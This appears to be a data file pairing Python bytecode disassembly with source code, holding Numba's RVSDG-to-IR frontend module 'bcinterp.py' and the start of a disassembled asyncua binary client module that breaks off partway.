LOAD_FAST self LOAD_ATTR loc LOAD_CONST ('loc',) CALL_FUNCTION STORE_FAST not_fn LOAD_GLOBAL ir LOAD_ATTR Expr LOAD_ATTR call LOAD_FAST self LOAD_METHOD store LOAD_FAST not_fn LOAD_CONST '$not' CALL_METHOD LOAD_FAST self LOAD_ATTR vsmap LOAD_FAST pred BINARY_SUBSCR BUILD_TUPLE LOAD_CONST () LOAD_FAST self LOAD_ATTR loc LOAD_CONST ('loc',) CALL_FUNCTION STORE_FAST res LOAD_FAST self LOAD_METHOD store LOAD_FAST res LOAD_CONST '$jump_if' CALL_METHOD LOAD_FAST self STORE_ATTR branch_predicate LOAD_CONST None RETURN_VALUE LOAD_FAST self LOAD_METHOD store LOAD_FAST self LOAD_ATTR vsmap LOAD_FAST pred BINARY_SUBSCR LOAD_CONST '$jump_if' CALL_METHOD LOAD_FAST self STORE_ATTR branch_predicate LOAD_CONST None RETURN_VALUE LOAD_FAST op LOAD_ATTR inputs UNPACK_SEQUENCE STORE_FAST _env STORE_FAST pred LOAD_FAST op LOAD_ATTR outputs UNPACK_SEQUENCE STORE_FAST _env LOAD_FAST self LOAD_METHOD _jump_if_not LOAD_FAST pred CALL_METHOD POP_TOP LOAD_CONST None RETURN_VALUE LOAD_FAST op LOAD_ATTR inputs UNPACK_SEQUENCE STORE_FAST _env STORE_FAST pred LOAD_FAST op LOAD_ATTR outputs UNPACK_SEQUENCE STORE_FAST _env LOAD_FAST self LOAD_METHOD _jump_if LOAD_FAST pred CALL_METHOD POP_TOP LOAD_CONST None RETURN_VALUE LOAD_FAST op LOAD_ATTR inputs UNPACK_SEQUENCE STORE_FAST _env STORE_FAST pred LOAD_FAST op LOAD_ATTR outputs UNPACK_SEQUENCE STORE_FAST _env LOAD_FAST self LOAD_METHOD _jump_if_not LOAD_FAST pred CALL_METHOD POP_TOP LOAD_CONST None RETURN_VALUE LOAD_FAST op LOAD_ATTR inputs UNPACK_SEQUENCE STORE_FAST _env STORE_FAST pred LOAD_FAST op LOAD_ATTR outputs UNPACK_SEQUENCE STORE_FAST _env LOAD_FAST self LOAD_METHOD _jump_if LOAD_FAST pred CALL_METHOD POP_TOP LOAD_CONST None RETURN_VALUE LOAD_FAST invert POP_JUMP_IF_FALSE LOAD_CONST 'is not' JUMP_FORWARD to 10 LOAD_CONST 'is' STORE_FAST test NOP BINOPS_TO_OPERATORS LOAD_FAST test BINARY_SUBSCR STORE_FAST op LOAD_FAST self LOAD_ATTR store LOAD_GLOBAL ir LOAD_ATTR Const LOAD_CONST None LOAD_FAST self LOAD_ATTR loc LOAD_CONST ('loc',) CALL_FUNCTION LOAD_CONST '$constNone' LOAD_FAST bc LOAD_ATTR offset FORMAT_VALUE BUILD_STRING LOAD_CONST ('value', 'name') CALL_FUNCTION STORE_FAST none LOAD_GLOBAL ir LOAD_ATTR Expr LOAD_ATTR binop LOAD_FAST op LOAD_FAST self LOAD_ATTR vsmap LOAD_FAST pred BINARY_SUBSCR LOAD_FAST none LOAD_FAST self LOAD_ATTR loc LOAD_CONST ('lhs', 'rhs', 'loc') CALL_FUNCTION STORE_FAST isnone LOAD_FAST self LOAD_METHOD store LOAD_FAST isnone LOAD_CONST '$jump_if' CALL_METHOD LOAD_FAST self STORE_ATTR branch_predicate LOAD_CONST None RETURN_VALUE LOAD_FAST op LOAD_ATTR inputs UNPACK_SEQUENCE STORE_FAST _env STORE_FAST pred LOAD_FAST op LOAD_ATTR outputs UNPACK_SEQUENCE STORE_FAST _env LOAD_FAST self LOAD_ATTR _test_none_and_jump LOAD_FAST pred LOAD_FAST bc LOAD_CONST False LOAD_CONST ('invert',) CALL_FUNCTION POP_TOP LOAD_CONST None RETURN_VALUE LOAD_FAST op LOAD_ATTR inputs UNPACK_SEQUENCE STORE_FAST _env STORE_FAST pred LOAD_FAST op LOAD_ATTR outputs UNPACK_SEQUENCE STORE_FAST _env LOAD_FAST self LOAD_ATTR _test_none_and_jump LOAD_FAST pred LOAD_FAST bc LOAD_CONST True LOAD_CONST ('invert',) CALL_FUNCTION POP_TOP LOAD_CONST None RETURN_VALUE LOAD_FAST op LOAD_ATTR inputs UNPACK_SEQUENCE STORE_FAST _env STORE_FAST retval LOAD_FAST self LOAD_METHOD append LOAD_GLOBAL ir LOAD_ATTR Return LOAD_FAST self LOAD_ATTR vsmap LOAD_FAST retval BINARY_SUBSCR LOAD_FAST self LOAD_ATTR loc LOAD_CONST ('loc',) CALL_FUNCTION CALL_METHOD POP_TOP LOAD_FAST self LOAD_ATTR current_block LOAD_ATTR is_terminated POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_FAST op LOAD_ATTR inputs UNPACK_SEQUENCE STORE_FAST _env STORE_FAST exc LOAD_FAST self LOAD_METHOD append LOAD_GLOBAL ir LOAD_ATTR Raise LOAD_FAST self LOAD_ATTR vsmap LOAD_FAST exc BINARY_SUBSCR LOAD_FAST self LOAD_ATTR loc LOAD_CONST ('exception', 'loc') CALL_FUNCTION CALL_METHOD POP_TOP LOAD_FAST self LOAD_ATTR current_block LOAD_ATTR is_terminated POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_GLOBAL RVSDG2IR LOAD_FAST func_id CALL_FUNCTION STORE_FAST rvsdg2ir LOAD_FAST rvsdg2ir LOAD_METHOD initialize CALL_METHOD STORE_FAST data LOAD_FAST rvsdg2ir LOAD_METHOD visit_graph LOAD_FAST rvsdg LOAD_FAST data CALL_METHOD POP_TOP LOAD_FAST rvsdg2ir LOAD_METHOD finalize CALL_METHOD POP_TOP SETUP_LOOP to 64 LOAD_FAST rvsdg2ir LOAD_ATTR blocks LOAD_METHOD values CALL_METHOD GET_ITER FOR_ITER to 62 STORE_FAST blk LOAD_FAST blk LOAD_METHOD verify CALL_METHOD POP_TOP JUMP_ABSOLUTE POP_BLOCK LOAD_GLOBAL ir_utils LOAD_METHOD build_definitions LOAD_FAST rvsdg2ir LOAD_ATTR blocks CALL_METHOD STORE_FAST defs LOAD_GLOBAL ir LOAD_ATTR FunctionIR LOAD_FAST rvsdg2ir LOAD_ATTR blocks LOAD_CONST False LOAD_FAST func_id LOAD_FAST rvsdg2ir LOAD_ATTR first_loc LOAD_FAST defs LOAD_GLOBAL len LOAD_FAST func_id LOAD_ATTR arg_names CALL_FUNCTION LOAD_FAST func_id LOAD_ATTR arg_names LOAD_CONST ('blocks', 'is_generator', 'func_id', 'loc', 'definitions', 'arg_count', 'arg_names') CALL_FUNCTION STORE_FAST fir LOAD_GLOBAL DEBUG_GRAPH POP_JUMP_IF_FALSE LOAD_FAST fir LOAD_METHOD render_dot CALL_METHOD LOAD_METHOD view CALL_METHOD POP_TOP LOAD_FAST fir RETURN_VALUE
""" This file contains logic to convert RVSDG into Numba IR. Key APIs: - function `run_frontend()` - function `rvsdg_to_ir()` """ import dis from contextlib import contextmanager import builtins import operator from typing import Iterator from functools import reduce from numba.core import ( ir, bytecode, ir_utils, utils, ) from numba.core.utils import ( BINOPS_TO_OPERATORS, INPLACE_BINOPS_TO_OPERATORS, ) from .rvsdg.bc2rvsdg import ( build_rvsdg, SCFG, BasicBlock, RegionBlock, DDGBlock, DDGControlVariable, DDGBranch, DDGRegion, Op, ValueState, DEBUG_GRAPH, ) from .rvsdg.regionpasses import RegionVisitor def run_frontend(func): sig = utils.pySignature.from_callable(func) argnames = tuple(sig.parameters) rvsdg = build_rvsdg(func.__code__, argnames) func_id = bytecode.FunctionIdentity.from_function(func) func_ir = rvsdg_to_ir(func_id, rvsdg) return func_ir def _get_first_bytecode(ops: list[Op]) -> dis.Instruction | None: for bc in (op.bc_inst for op in ops if op.bc_inst is not None): return bc return None def _innermost_exiting(blk: RegionBlock) -> BasicBlock: while isinstance(blk, RegionBlock): blk = blk.subregion.graph[blk.exiting] return blk _noop = {"var.incoming", "start"} _Data = dict[str, ir.Var] class RVSDG2IR(RegionVisitor[_Data]): blocks: dict[int, ir.Block] func_id: bytecode.FunctionIdentity local_scope: ir.Scope global_scope: ir.Scope vsmap: dict[ValueState, ir.Var] _current_block: ir.Block | None last_block_label: int | None branch_predicate: ir.Var | None _label_map: dict[str, int] _emit_debug_print = False def __init__(self, func_id): self.func_id = func_id self.loc = self.first_loc = ir.Loc.from_function_id(func_id) self.global_scope = ir.Scope(parent=None, loc=self.loc) self.local_scope = ir.Scope(parent=self.global_scope, loc=self.loc) self.blocks = {} self.vsmap = {} self._current_block = None self.last_block_label = None self._label_map = {} @property def current_block(self) -> ir.Block: out = self._current_block assert out is not None return out @property def last_block(self) -> ir.Block: assert self.last_block_label is not None # for typing return self.blocks[self.last_block_label] def _get_phi_name(self, varname: str, label: str) -> str: suffix = str(self._get_label(label)) return f"$phi.{varname}.{suffix}" def _get_cp_name(self, cpname: str) -> str: return f"$.cp.{cpname}" def _get_label(self, label: str) -> int: num = self._label_map.setdefault(f"block.{label}", len(self._label_map)) return num def _get_temp_label(self) -> int: num = len(self._label_map) assert num not in self._label_map self._label_map[f"annoy.{num}"] = num return num def initialize(self) -> _Data: label = self._get_temp_label() with self.set_block(label, ir.Block(scope=self.local_scope, loc=self.loc)): data: _Data = {} for i, k in enumerate(self.func_id.arg_names): # type: ignore val = ir.Arg(index=i, name=k, loc=self.loc) data[f"var.{k}"] = self.store(val, str(k)) return data def finalize(self): if self.last_block_label is not None: last_block = self.blocks[self.last_block_label] if not last_block.is_terminated: last_block.append(ir.StaticRaise(AssertionError, (), loc=self.loc)) def visit_block(self, block: BasicBlock, data: _Data) -> _Data: if isinstance(block, DDGBlock): for k, vs in block.in_vars.items(): self.vsmap[vs] = data[k] ops = block.get_toposorted_ops() firstbc: dis.Instruction | None = _get_first_bytecode(ops) if firstbc is not None: assert firstbc.positions is not None self.loc = self.loc.with_lineno( firstbc.positions.lineno, firstbc.positions.col_offset, ) with self.set_block( self._get_label(block.name), ir.Block(scope=self.local_scope, loc=self.loc), ): for op in ops: if op.opname in _noop: pass elif op.bc_inst is not None: self.interpret_bytecode(op) elif op.opname in {"stack.export", "stack.incoming"}: [arg] = op.inputs [res] = op.outputs self.vsmap[res] = self.store(self.vsmap[arg], f"${res.name}") else: raise NotImplementedError(op.opname, op) if len(block._jump_targets) > 1: assert self.branch_predicate is not None truebr = self._get_label(block._jump_targets[1]) falsebr = self._get_label(block._jump_targets[0]) br = ir.Branch( cond=self.branch_predicate, truebr=truebr, falsebr=falsebr, loc=self.loc, ) self.current_block.append(br) data = {k: self.vsmap[vs] for k, vs in block.out_vars.items()} return data elif isinstance(block, DDGControlVariable): with self.set_block( self._get_label(block.name), ir.Block(scope=self.local_scope, loc=self.loc), ): for cp, v in block.variable_assignment.items(): const = ir.Const(v, loc=self.loc, use_literal_type=False) self.store(const, self._get_cp_name(cp), redefine=False) return data elif isinstance(block, DDGBranch): if len(block.branch_value_table) == 2: self._emit_two_way_switch(block) else: self._emit_n_way_switch(block) return data else: raise NotImplementedError(block.name, type(block)) def _emit_two_way_switch(self, block): with self.set_block( self._get_label(block.name), ir.Block(scope=self.local_scope, loc=self.loc), ): assert set(block.branch_value_table.keys()) == {0, 1} cp = block.variable cpvar = self.local_scope.get_exact(self._get_cp_name(cp)) truebr = self._get_label(block.branch_value_table[1]) falsebr = self._get_label(block.branch_value_table[0]) br = ir.Branch( cond=cpvar, truebr=truebr, falsebr=falsebr, loc=self.loc, ) self.current_block.append(br) def _emit_n_way_switch(self, block): """ This handles emitting a switch block with N cases. It does the following: - The branch value table in the block provides information about the case index and the case label in this switch. - Emit a block that unconditionally jumps to the first case block. - In each case block: - Compare the control variable to the expected case index for that case. - Branch to the target label on true, or the next case on false. - There is no default case. The control variable must match a case index ┌───────────────────────┐ │ current block │ └───────────┬───────────┘ │ └─────────┐ ▼ ┌───────────────────┐ │ case 0 │ └─────────┬─────────┘ │ │ ▼ ┌───────────────────┐ │ case 1 │ └─────────┬─────────┘ │ │ ▼ ┌───────────────────┐ │ case N-1 │ └─────────┬─────────┘ │ ┌─────────┘ │ ▼ ┌───────────────────────┐ │ subsequent blocks │ └───────────────────────┘ """ bvt = block.branch_value_table cp = block.variable cpvar = self.local_scope.get_exact(self._get_cp_name(cp)) labels = [(k, self._get_label(v)) for k, v in bvt.items()] blocks = [] for _ in range(len(labels) - 1): blocks.append( ( self._get_temp_label(), ir.Block(scope=self.local_scope, loc=self.loc), ) ) with self.set_block( self._get_label(block.name), ir.Block(scope=self.local_scope, loc=self.loc), ): self.current_block.append(ir.Jump(blocks[-1][0], loc=self.loc)) while blocks: cp_expect, cp_label = labels.pop() cur_label, cur_block = blocks.pop() with self.set_block(cur_label, cur_block): const = self.store(ir.Const(cp_expect, loc=self.loc), "$.const") cmp = ir.Expr.binop(operator.eq, const, cpvar, loc=self.loc) pred = self.store(cmp, "$.cmp") if not blocks: _, falsebr = labels.pop() else: falsebr, _ = blocks[-1] br = ir.Branch( cond=pred, truebr=cp_label, falsebr=falsebr, loc=self.loc, ) self.current_block.append(br) def visit_loop(self, region: RegionBlock, data: _Data) -> _Data: assert isinstance(region, DDGRegion) inner_data: _Data = {} for k in region.incoming_states: inner_data[k] = self.store( data[k], self._get_phi_name(k, region.name), redefine=False, block=self.last_block, ) out_data = self.visit_linear(region, inner_data) exit_data = {} for k in region.outgoing_states: exit_data[k] = self.store( out_data[k], self._get_phi_name(k, region.name), redefine=False, block=self.last_block, ) return exit_data def visit_switch(self, region: RegionBlock, data: _Data) -> _Data: header = region.header header_block = region.subregion[header] assert header_block.kind == "head" self.branch_predicate = None data_at_head = self.visit_linear(header_block, data) if not self.last_block.is_terminated: assert self.branch_predicate is not None # for typing truebr = self._get_label(header_block.jump_targets[1]) falsebr = self._get_label(header_block.jump_targets[0]) br = ir.Branch(self.branch_predicate, truebr, falsebr, loc=self.loc) self.last_block.append(br) data_for_branches = [] branch_blocks = [] for blk in region.subregion.graph.values(): if blk.kind == "branch": branch_blocks.append(_innermost_exiting(blk)) data_for_branches.append(self.visit_linear(blk, data_at_head)) if not self.last_block.is_terminated: [target] = blk.jump_targets self.last_block.append( ir.Jump(self._get_label(target), loc=self.loc) ) names: set[str] = reduce( operator.or_, map(set, data_for_branches) ) # type: ignore for blk, branch_data in zip(branch_blocks, data_for_branches, strict=True): for k in names: rhs = branch_data.get(k, ir.Const(None, loc=self.loc)) phiname = self._get_phi_name(k, region.name) self.store( rhs, phiname, redefine=False, block=self.blocks[self._get_label(blk.name)], ) data_after_branches = { k: self.local_scope.get_exact(self._get_phi_name(k, region.name)) for k in names } exiting = region.exiting exiting_block = region.subregion[exiting] assert exiting_block.kind == "tail" data_at_tail = self.visit_linear(exiting_block, data_after_branches) return data_at_tail def visit_linear(self, region: RegionBlock, data: _Data) -> _Data: with self.set_block( self._get_label(region.name), ir.Block(scope=self.local_scope, loc=self.loc), ): pass return super().visit_linear(region, data) @contextmanager def set_block(self, label: int, block: ir.Block) -> Iterator[ir.Block]: """A context manager that set the current block for other IR building methods. In addition, - It closes any existing block in ``last_block_label`` by jumping to the new block. - If there is a existing block, it will be restored as the current block after the context manager. """ if self.last_block_label is not None: last_block = self.blocks[self.last_block_label] if not last_block.is_terminated: last_block.append(ir.Jump(label, loc=self.loc)) if self._emit_debug_print: print("begin dump last blk".center(80, "-")) last_block.dump() print("end dump last blk".center(80, "=")) self.blocks[label] = block old = self._current_block self._current_block = block try: yield block finally: self.last_block_label = label self._current_block = old if self._emit_debug_print: print(f"begin dump blk: {label}".center(80, "-")) block.dump() print("end dump blk".center(80, "=")) def store(self, value, name, *, redefine=True, block=None) -> ir.Var: target: ir.Var if redefine: target = self.local_scope.redefine(name, loc=self.loc) else: target = self.local_scope.get_or_define(name, loc=self.loc) stmt = ir.Assign(value=value, target=target, loc=self.loc) self.append(stmt, block=block) return target def store_vsmap(self, val, vs): self.vsmap[vs] = self.store(val, f"${vs.name}") def append(self, stmt: ir.Stmt, block=None): if block is None: block = self.current_block if block.is_terminated: block.insert_before_terminator(stmt) else: block.append(stmt) def get_global_value(self, name): """THIS IS COPIED from interpreter.py Get a global value from the func_global (first) or as a builtins (second). If both failed, return a ir.UNDEFINED. """ try: return self.func_id.func.__globals__[name] except KeyError: return getattr(builtins, name, ir.UNDEFINED) def get_closure_value(self, index): """ Get a value from the cell contained in this function's closure. If not set, return a ir.UNDEFINED. """ cell = self.func_id.func.__closure__[index] try: return cell.cell_contents except ValueError: return ir.UNDEFINED def debug_print(self, msg: str, *args): msg_const = self.store(ir.Const(msg, loc=self.loc), "$.debug.msg") fn = self.store(ir.Const(print, loc=self.loc), "$.debug.print") res = ir.Expr.call(fn, (msg_const, *args), (), loc=self.loc) self.store(res, "$.debug.res") def interpret_bytecode(self, op: Op): """Interpret a single Op containing bytecode instructions. Internally, it dispatches to methods with names following the pattern `op_<opname>`. """ assert op.bc_inst is not None pos = op.bc_inst.positions assert pos is not None self.loc = self.loc.with_lineno(pos.lineno, pos.col_offset) if self._emit_debug_print: where = f"{op.bc_inst.offset:3}:({pos.lineno:3}:{pos.col_offset:3})" msg = f"[{where}] {op.bc_inst.opname}({op.bc_inst.argrepr}) " self.debug_print(msg) for k, vs in op.input_ports.items(): val = self.vsmap.get(vs, None) if val is None: self.debug_print(f" in {k:>6}: <undef>") else: self.debug_print(f" in {k:>6}:", val) fn = getattr(self, f"op_{op.bc_inst.opname}") fn(op, op.bc_inst) if self._emit_debug_print: for k, vs in op.output_ports.items(): val = self.vsmap.get(vs, None) if val is None: self.debug_print(f" out {k:>6}: <undef>") else: self.debug_print(f" out {k:>6}:", val) def op_PUSH_NULL(self, op: Op, bc: dis.Instruction): pass def op_LOAD_CONST(self, op: Op, bc: dis.Instruction): assert not op.inputs [vs] = op.outputs value = ir.Const(bc.argval, loc=self.loc) self.store_vsmap(value, vs) def op_LOAD_GLOBAL(self, op: Op, bc: dis.Instruction): [_nil, res] = op.outputs value = self.get_global_value(bc.argval) const = ir.Global(bc.argval, value, loc=self.loc) self.store_vsmap(const, res) def op_LOAD_ATTR(self, op: Op, bc: dis.Instruction): [res] = op.outputs [item] = op.inputs getattr = ir.Expr.getattr(self.vsmap[item], bc.argval, loc=self.loc) self.store_vsmap(getattr, res) def op_LOAD_METHOD(self, op: Op, bc: dis.Instruction): [_nil, res] = op.outputs [item] = op.inputs getattr = ir.Expr.getattr(self.vsmap[item], bc.argval, loc=self.loc) self.store_vsmap(getattr, res) def op_LOAD_DEREF(self, op: Op, bc: dis.Instruction): [out] = op.outputs code = self.func_id.code # type: ignore name = bc.argval if name in code.co_cellvars: raise NotImplementedError gl = self.get(name) elif name in code.co_freevars: idx = code.co_freevars.index(name) value = self.get_closure_value(idx) gl = ir.FreeVar(idx, name, value, loc=self.loc) self.store_vsmap(gl, out) def op_STORE_FAST(self, op: Op, bc: dis.Instruction): [incvar] = op.inputs [res] = op.outputs var = self.vsmap[incvar] self.vsmap[res] = self.store(var, bc.argval) def op_KW_NAMES(self, op: Op, bc: dis.Instruction): pass # do nothing def op_CALL(self, op: Op, bc: dis.Instruction): [_env, callee_or_null, arg0_or_callee, *args] = op.inputs [_env, res] = op.outputs if callee_or_null.name != "null": raise NotImplementedError callee = self.vsmap[arg0_or_callee] if op.opname == "call.kw": kw_names_op = args[-1].parent assert kw_names_op is not None # for typing assert kw_names_op.bc_inst is not None # for typing assert kw_names_op.opname == "kw_names" args = args[:-1] co = self.func_id.code # type: ignore names = co.co_consts[kw_names_op.bc_inst.arg] argvars = [self.vsmap[vs] for vs in args] kwargs = tuple(zip(names, args[-len(names) :])) argvars = argvars[: -len(names)] else: assert op.opname == "call" argvars = [self.vsmap[vs] for vs in args] kwargs = () expr = ir.Expr.call(callee, argvars, kwargs, loc=self.loc) self.store_vsmap(expr, res) def op_COMPARE_OP(self, op: Op, bc: dis.Instruction): [_env, lhs, rhs] = op.inputs [_env, out] = op.outputs operator = bc.argrepr op = BINOPS_TO_OPERATORS[operator] # type: ignore lhs_var = self.vsmap[lhs] rhs_var = self.vsmap[rhs] expr = ir.Expr.binop(op, lhs=lhs_var, rhs=rhs_var, loc=self.loc) self.store_vsmap(expr, out) def _binop(self, operator, op): [_env, lhs, rhs] = op.inputs [_env, out] = op.outputs if "=" in operator: immuop = BINOPS_TO_OPERATORS[operator[:-1]] op = INPLACE_BINOPS_TO_OPERATORS[operator] expr = ir.Expr.inplace_binop( op, immuop, lhs=self.vsmap[lhs], rhs=self.vsmap[rhs], loc=self.loc, ) else: op = BINOPS_TO_OPERATORS[operator] lhs = self.vsmap[lhs] rhs = self.vsmap[rhs] expr = ir.Expr.binop(op, lhs=lhs, rhs=rhs, loc=self.loc) self.store_vsmap(expr, out) def op_BINARY_OP(self, op: Op, bc: dis.Instruction): self._binop(bc.argrepr, op) def op_IS_OP(self, op: Op, bc: dis.Instruction): opname = "is not" if bc.argval == 1 else "is" self._binop(opname, op) def op_UNARY_NOT(self, op: Op, bc: dis.Instruction): [val] = op.inputs [out] = op.outputs expr = ir.Expr.unary("not", value=self.vsmap[val], loc=self.loc) self.store_vsmap(expr, out) def op_BINARY_SUBSCR(self, op: Op, bc: dis.Instruction): [_env, index, target] = op.inputs [_env, out] = op.outputs index_var = self.vsmap[index] target_var = self.vsmap[target] expr = ir.Expr.getitem(target_var, index=index_var, loc=self.loc) self.store_vsmap(expr, out) def op_STORE_SUBSCR(self, op: Op, bc: dis.Instruction): [_env, index, target, value] = op.inputs index_var = self.vsmap[index] target_var = self.vsmap[target] value_var = self.vsmap[value] stmt = ir.SetItem( target=target_var, index=index_var, value=value_var, loc=self.loc ) self.append(stmt) def op_BUILD_TUPLE(self, op: Op, bc: dis.Instruction): items = op.inputs [out] = op.outputs expr = ir.Expr.build_tuple(items=[self.vsmap[it] for it in items], loc=self.loc) self.store_vsmap(expr, out) def op_BUILD_SLICE(self, op: Op, bc: dis.Instruction): args = tuple([self.vsmap[v] for v in op.inputs]) [out] = op.outputs assert len(args) in (2, 3), "expected (start, stop, [step])" slicegv = ir.Global("slice", slice, loc=self.loc) slicevar = self.store(value=slicegv, name="$slicevar", redefine=True) sliceinst = ir.Expr.call(slicevar, args, (), loc=self.loc) self.store_vsmap(sliceinst, out) def op_GET_ITER(self, op: Op, bc: dis.Instruction): [arg] = op.inputs [res] = op.outputs expr = ir.Expr.getiter(value=self.vsmap[arg], loc=self.loc) self.store_vsmap(expr, res) def op_FOR_ITER(self, op: Op, bc: dis.Instruction): [iterator] = op.inputs [res] = op.outputs pairval = ir.Expr.iternext(value=self.vsmap[iterator], loc=self.loc) pair = self.store(pairval, "$foriter") iternext = ir.Expr.pair_first(value=pair, loc=self.loc) indval = self.store(iternext, "$foriter.indval") self.vsmap[res] = indval isvalid = ir.Expr.pair_second(value=pair, loc=self.loc) pred = self.store(isvalid, "$foriter.isvalid") not_fn = ir.Const(operator.not_, loc=self.loc) res = ir.Expr.call(self.store(not_fn, "$not"), (pred,), (), loc=self.loc) self.branch_predicate = self.store(res, "$for_iter") def _jump_if_not(self, pred): """Emit code for jump if predicate is false.""" not_fn = ir.Const(operator.not_, loc=self.loc) res = ir.Expr.call( self.store(not_fn, "$not"), (self.vsmap[pred],), (), loc=self.loc ) self.branch_predicate = self.store(res, "$jump_if") def _jump_if(self, pred): """Emit code for jump if predicate is true.""" self.branch_predicate = self.store(self.vsmap[pred], "$jump_if") def op_JUMP_IF_FALSE_OR_POP(self, op: Op, bc: dis.Instruction): [_env, pred] = op.inputs [_env] = op.outputs self._jump_if_not(pred) def op_JUMP_IF_TRUE_OR_POP(self, op: Op, bc: dis.Instruction): [_env, pred] = op.inputs [_env] = op.outputs self._jump_if(pred) def op_POP_JUMP_FORWARD_IF_FALSE(self, op: Op, bc: dis.Instruction): [_env, pred] = op.inputs [_env] = op.outputs self._jump_if_not(pred) def op_POP_JUMP_FORWARD_IF_TRUE(self, op: Op, bc: dis.Instruction): [_env, pred] = op.inputs [_env] = op.outputs self._jump_if(pred) def _test_none_and_jump(self, pred, bc: dis.Instruction, invert: bool): test = "is not" if invert else "is" op = BINOPS_TO_OPERATORS[test] # type: ignore none = self.store( value=ir.Const(None, loc=self.loc), name=f"$constNone{bc.offset}" ) isnone = ir.Expr.binop(op, lhs=self.vsmap[pred], rhs=none, loc=self.loc) self.branch_predicate = self.store(isnone, "$jump_if") def op_POP_JUMP_FORWARD_IF_NONE(self, op: Op, bc: dis.Instruction): [_env, pred] = op.inputs [_env] = op.outputs self._test_none_and_jump(pred, bc, invert=False) def op_POP_JUMP_FORWARD_IF_NOT_NONE(self, op: Op, bc: dis.Instruction): [_env, pred] = op.inputs [_env] = op.outputs self._test_none_and_jump(pred, bc, invert=True) op_POP_JUMP_BACKWARD_IF_TRUE = op_POP_JUMP_FORWARD_IF_TRUE def op_RETURN_VALUE(self, op: Op, bc: dis.Instruction): [_env, retval] = op.inputs self.append(ir.Return(self.vsmap[retval], loc=self.loc)) assert self.current_block.is_terminated def op_RAISE_VARARGS(self, op: Op, bc: dis.Instruction): [_env, exc] = op.inputs self.append(ir.Raise(exception=self.vsmap[exc], loc=self.loc)) assert self.current_block.is_terminated def rvsdg_to_ir(func_id: bytecode.FunctionIdentity, rvsdg: SCFG) -> ir.FunctionIR: rvsdg2ir = RVSDG2IR(func_id) data = rvsdg2ir.initialize() rvsdg2ir.visit_graph(rvsdg, data) rvsdg2ir.finalize() for blk in rvsdg2ir.blocks.values(): blk.verify() defs = ir_utils.build_definitions(rvsdg2ir.blocks) fir = ir.FunctionIR( blocks=rvsdg2ir.blocks, is_generator=False, func_id=func_id, loc=rvsdg2ir.first_loc, definitions=defs, arg_count=len(func_id.arg_names), # type: ignore arg_names=func_id.arg_names, # type: ignore ) if DEBUG_GRAPH: fir.render_dot().view() return fir
data/numba-0.59.0/numba/core/rvsdg_frontend/bcinterp.py
16,655
8,998
134,595
LOAD_CONST '\nLow level binary client\n' STORE_NAME __doc__ LOAD_CONST 0 LOAD_CONST None IMPORT_NAME asyncio STORE_NAME asyncio LOAD_CONST 0 LOAD_CONST None IMPORT_NAME copy STORE_NAME copy LOAD_CONST 0 LOAD_CONST None IMPORT_NAME logging STORE_NAME logging LOAD_CONST 0 LOAD_CONST ('Awaitable', 'Callable', 'Dict', 'List', 'Optional', 'Union') IMPORT_NAME typing IMPORT_FROM Awaitable STORE_NAME Awaitable IMPORT_FROM Callable STORE_NAME Callable IMPORT_FROM Dict STORE_NAME Dict IMPORT_FROM List STORE_NAME List IMPORT_FROM Optional STORE_NAME Optional IMPORT_FROM Union STORE_NAME Union POP_TOP LOAD_CONST 0 LOAD_CONST ('ua',) IMPORT_NAME asyncua IMPORT_FROM ua STORE_NAME ua POP_TOP LOAD_CONST 0 LOAD_CONST ('AbstractSession',) IMPORT_NAME asyncua.common.session_interface IMPORT_FROM AbstractSession STORE_NAME AbstractSession POP_TOP LOAD_CONST 2 LOAD_CONST ('struct_from_binary', 'uatcp_to_binary', 'struct_to_binary', 'nodeid_from_binary', 'header_from_binary') IMPORT_NAME ua.ua_binary IMPORT_FROM struct_from_binary STORE_NAME struct_from_binary IMPORT_FROM uatcp_to_binary STORE_NAME uatcp_to_binary IMPORT_FROM struct_to_binary STORE_NAME struct_to_binary IMPORT_FROM nodeid_from_binary STORE_NAME nodeid_from_binary IMPORT_FROM header_from_binary STORE_NAME header_from_binary POP_TOP LOAD_CONST 2 LOAD_CONST ('BadTimeout', 'BadNoSubscription', 'BadSessionClosed', 'BadUserAccessDenied', 'UaStructParsingError') IMPORT_NAME ua.uaerrors IMPORT_FROM BadTimeout STORE_NAME BadTimeout IMPORT_FROM BadNoSubscription STORE_NAME BadNoSubscription IMPORT_FROM BadSessionClosed STORE_NAME BadSessionClosed IMPORT_FROM BadUserAccessDenied STORE_NAME BadUserAccessDenied IMPORT_FROM UaStructParsingError STORE_NAME UaStructParsingError POP_TOP LOAD_CONST 2 LOAD_CONST ('SecureConnection', 'TransportLimits') IMPORT_NAME common.connection IMPORT_FROM SecureConnection STORE_NAME SecureConnection IMPORT_FROM TransportLimits STORE_NAME TransportLimits POP_TOP LOAD_BUILD_CLASS LOAD_CONST <code object UASocketProtocol at 0x7fab700e4270, file "f.py", line 29> LOAD_CONST 'UASocketProtocol' MAKE_FUNCTION LOAD_CONST 'UASocketProtocol' LOAD_NAME asyncio LOAD_ATTR Protocol CALL_FUNCTION STORE_NAME UASocketProtocol LOAD_BUILD_CLASS LOAD_CONST <code object UaClient at 0x7fab820a1c00, file "f.py", line 311> LOAD_CONST 'UaClient' MAKE_FUNCTION LOAD_CONST 'UaClient' LOAD_NAME AbstractSession CALL_FUNCTION STORE_NAME UaClient LOAD_CONST None RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'UASocketProtocol' STORE_NAME __qualname__ LOAD_CONST '\n Handle socket connection and send ua messages.\n Timeout is the timeout used while waiting for an ua answer from server.\n ' STORE_NAME __doc__ LOAD_CONST 'initialized' STORE_NAME INITIALIZED LOAD_CONST 'open' STORE_NAME OPEN LOAD_CONST 'closed' STORE_NAME CLOSED LOAD_CONST 1 LOAD_NAME ua LOAD_METHOD SecurityPolicy CALL_METHOD LOAD_CONST None BUILD_TUPLE LOAD_NAME float LOAD_NAME ua LOAD_ATTR SecurityPolicy LOAD_NAME TransportLimits LOAD_CONST ('timeout', 'security_policy', 'limits') BUILD_CONST_KEY_MAP LOAD_CONST <code object __init__ at 0x7fab700ad390, file "f.py", line 39> LOAD_CONST 'UASocketProtocol.__init__' MAKE_FUNCTION STORE_NAME __init__ LOAD_NAME asyncio LOAD_ATTR Transport LOAD_CONST ('transport',) BUILD_CONST_KEY_MAP LOAD_CONST <code object connection_made at 0x7fab54105930, file "f.py", line 73> LOAD_CONST 